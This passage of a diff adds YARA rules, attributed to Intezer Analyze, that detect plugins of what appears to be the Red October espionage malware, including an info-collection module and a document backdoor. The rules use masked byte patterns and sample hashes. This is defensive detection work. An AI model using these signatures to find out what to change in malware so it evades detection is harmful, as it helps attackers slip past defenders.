?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0B ?? 0F 85 }
+		$block_4 = { BA ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 32 ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 0F B6 ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? C1 ?? ?? FF 0? ?? ?? ?? ?? BF ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? BB ?? ?? ?? ?? 8B ?? 4? 4? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 33 ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 4? 0F 85 }
+		$block_5 = { 83 ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? BB ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_6 = { BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B8 ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 4? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_7 = { 8B ?? 4? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? A3 ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_8 = { 4? 00 ?? ?? 4? 5? 33 ?? 2E ?? 4? 4? 00 ?? 01 ?? 03 ?? ?? ?? ?? ?? ?? 0A ?? 0C ?? 0E 0F 10 ?? 12 ?? 14 ?? 16 17 18 ?? 1A ?? 1C ?? 1E 1F 20 ?? 22 ?? 24 ?? 26 ?? 28 ?? 2A ?? 2C ?? 2E ?? 30 ?? 32 ?? 34 ?? 36 ?? 38 ?? 3A ?? 3C ?? 3E ?? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 60 61 62 ?? ?? 65 ?? ?? ?? ?? ?? 6B ?? ?? ?? ?? 70 }
+		$block_9 = { 14 ?? 16 17 18 ?? 1A ?? 1C ?? 1E 1F 20 ?? 22 ?? 24 ?? 26 ?? 28 ?? 2A ?? 2C ?? 2E ?? 30 ?? 32 ?? 34 ?? 36 ?? 38 ?? 3A ?? 3C ?? 3E ?? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 60 61 62 ?? ?? 65 ?? ?? ?? ?? ?? 6B ?? ?? ?? ?? 70 }
+
+	condition:
+		hash.sha256(0, filesize) == "c89b2bb62d13777aa6b1a4a22813e06907b26809d4745df963a760d365cc09cd" or
+		hash.sha256(0, filesize) == "1ac828db983ae799edf65e6b6bef81ceffd1e2079a6e1c5e6cf969a37f956698" or
+		10 of them
+}
+
+rule RedOctoberPluginCollectInfo {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 6A ?? 8B ?? 99 6A ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_1 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_2 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 4? 5? 68 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_3 = { 5? 5? 5? 33 ?? 8D ?? ?? ?? 5? 5? 5? 5? 5? 5? 8B ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_5 = { 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_6 = { 8D ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 6A ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? ?? 5? 5? 5? 0F B6 ?? 5? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C3 }
+		$block_9 = { 8D ?? ?? ?? 5? 5? 68 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_12 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_13 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_14 = { 8B ?? ?? 6A ?? 8D ?? ?? ?? 5? 8B ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_15 = { 8B ?? ?? 8B ?? C1 ?? ?? 5? E8 ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_16 = { 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 8B ?? 8B ?? ?? 8B ?? FF D? 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_19 = { 8D ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? F6 ?? ?? ?? 89 ?? ?? 0F 84 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_21 = { 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_22 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_23 = { 8D ?? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_24 = { FF 7? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 33 ?? 5? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_25 = { 8D ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_26 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_27 = { 8B ?? 8B ?? ?? FF D? 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_28 = { 0F 95 ?? 8B ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? 5? 83 ?? ?? C2 }
+		$block_29 = { 8B ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_30 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_31 = { 8B ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_32 = { 5? 8B ?? 5? 5? 5? 8B ?? ?? 8B ?? 0F B6 ?? ?? 33 ?? 3B ?? 0F 8E }
+		$block_33 = { 8B ?? ?? ?? 8B ?? 8D ?? ?? ?? 5? 5? 8B ?? ?? FF D? 85 ?? 0F 85 }
+		$block_34 = { 6A ?? 68 ?? ?? ?? ?? FF 3? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_35 = { 8D ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_36 = { 5? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_37 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_38 = { 8B ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_39 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_40 = { 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_41 = { 5? 5? 5? 8B ?? ?? ?? 33 ?? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_42 = { 5? 5? 5? 8B ?? ?? ?? 32 ?? 8B ?? 88 ?? ?? ?? 85 ?? 0F 84 }
+		$block_43 = { 8D ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_44 = { 6A ?? 8B ?? 2B ?? ?? 5? 5? 89 ?? ?? 5? 89 ?? ?? 0F 88 }
+		$block_45 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 33 ?? 5? 66 ?? ?? ?? 0F 85 }
+		$block_46 = { 5? 8D ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_47 = { 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_48 = { 8B ?? ?? 8B ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_49 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_50 = { FF 7? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_51 = { 8B ?? ?? 80 7? ?? ?? 8B ?? ?? 0F 95 ?? 88 ?? ?? 8B }
+		$block_52 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_53 = { 8B ?? ?? ?? 4? 89 ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 82 }
+		$block_54 = { 0F B6 ?? 8B ?? ?? 8B ?? ?? 4? 3D ?? ?? ?? ?? 0F 87 }
+		$block_55 = { 8B ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_56 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_58 = { 8B ?? ?? 8B ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_59 = { 0F B7 ?? ?? 0F B6 ?? ?? 5? 8D ?? ?? 83 ?? ?? 7D }
+		$block_60 = { 8B ?? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_61 = { 8B ?? ?? 80 7? ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_62 = { 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_63 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_64 = { 8B ?? ?? ?? 01 ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 86 }
+
+	condition:
+		hash.sha256(0, filesize) == "cf8b014c410edf2116fd54803ef9325c45d26d44160fa0feefa361a576aa7980" or
+		12 of them
+}
+
+rule RedOctoberPluginDocBackdoor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_1 = { 5? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_2 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 03 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 8B ?? ?? 5? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 6A ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? 8B ?? ?? 03 ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? ?? 83 ?? ?? 75 }
+		$block_4 = { 8B ?? ?? 2B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 03 ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 75 }
+		$block_6 = { 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 33 ?? BA ?? ?? ?? ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 83 ?? ?? ?? ?? ?? ?? 74 }
+		$block_7 = { 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_8 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
